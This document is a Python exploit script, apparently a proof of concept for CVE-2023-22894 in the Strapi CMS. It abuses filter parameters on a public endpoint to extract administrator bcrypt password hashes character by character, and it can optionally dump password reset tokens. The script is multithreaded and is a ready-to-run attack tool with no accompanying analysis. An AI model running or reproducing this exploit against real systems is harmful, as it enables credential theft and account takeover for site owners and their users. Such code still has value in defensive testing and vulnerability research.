README.md
README.md not found for CVE-2023-22894. The file may not exist in the repository.
import requests, sys, argparse
import urllib.parse as urlparse
from concurrent.futures import ThreadPoolExecutor
THREADS=20
BCRYPT_CHARS = "$./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
TOTAL_CHARS = len(BCRYPT_CHARS)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser()
parser.add_argument(
'-u', '--url',
help='Target URL',
required=True
)
parser.add_argument(
'-e', '--endpoint',
help='The public endpoint on Strapi which have relationship with User',
required=True
)
parser.add_argument(
'-d', '--dump',
help='Dump the password reset token \n-d true',
)
return parser.parse_args()
def attempt_char_hash(s: requests.Session, api_url, known_hash, c):
r = s.get(
api_url + f"?filters[$and][0][createdBy][password][$startsWith]={known_hash + c}",
)
r_json = r.json()
if "data" in r_json:
r_json = r_json["data"]
if len(r_json) > 0:
return (True, c)
return (False, None)
def attempt_char_token(s: requests.Session, api_url, known_hash, c):
r = s.get(
api_url + f"?filters[$and][0][createdBy][reset_password_token][$startsWith]={known_hash + c}",
)
r_json = r.json()
if "data" in r_json:
r_json = r_json["data"]
if len(r_json) > 0:
return (True, c)
return (False, None)
def dump_password_hash(s, api_url):
dumped_data = ""
print("Password Hash:", end="")
sys.stdout.flush()
while True:
found_char = False
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = executor.map(
attempt_char_hash,
TOTAL_CHARS * [s],
TOTAL_CHARS * [api_url],
TOTAL_CHARS * [dumped_data],
BCRYPT_CHARS
)
for result in futures:
matched_char, char = result
if matched_char:
found_char = True
dumped_data = dumped_data + char
print(char, end="")
sys.stdout.flush()
break
if not found_char:
break
print("")
def dump_password_reset_token(s, api_url):
dumped_data = ""
print("Password Reset Token:", end="")
sys.stdout.flush()
while True:
found_char = False
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = executor.map(
attempt_char_token,
TOTAL_CHARS * [s],
TOTAL_CHARS * [api_url],
TOTAL_CHARS * [dumped_data],
BCRYPT_CHARS
)
for result in futures:
matched_char, char = result
if matched_char:
found_char = True
dumped_data = dumped_data + char
print(char, end="")
sys.stdout.flush()
break
if not found_char:
break
print("")
def main(args):
target = args.url
endpoint = args.endpoint
api_url = urlparse.urljoin(target, endpoint)
dump = args.dump
with requests.Session() as s:
dump_password_hash(s, api_url)
if(dump == "true"):
dump_password_reset_token(s, api_url)
if __name__ == "__main__":
args = parse_args()
main(args)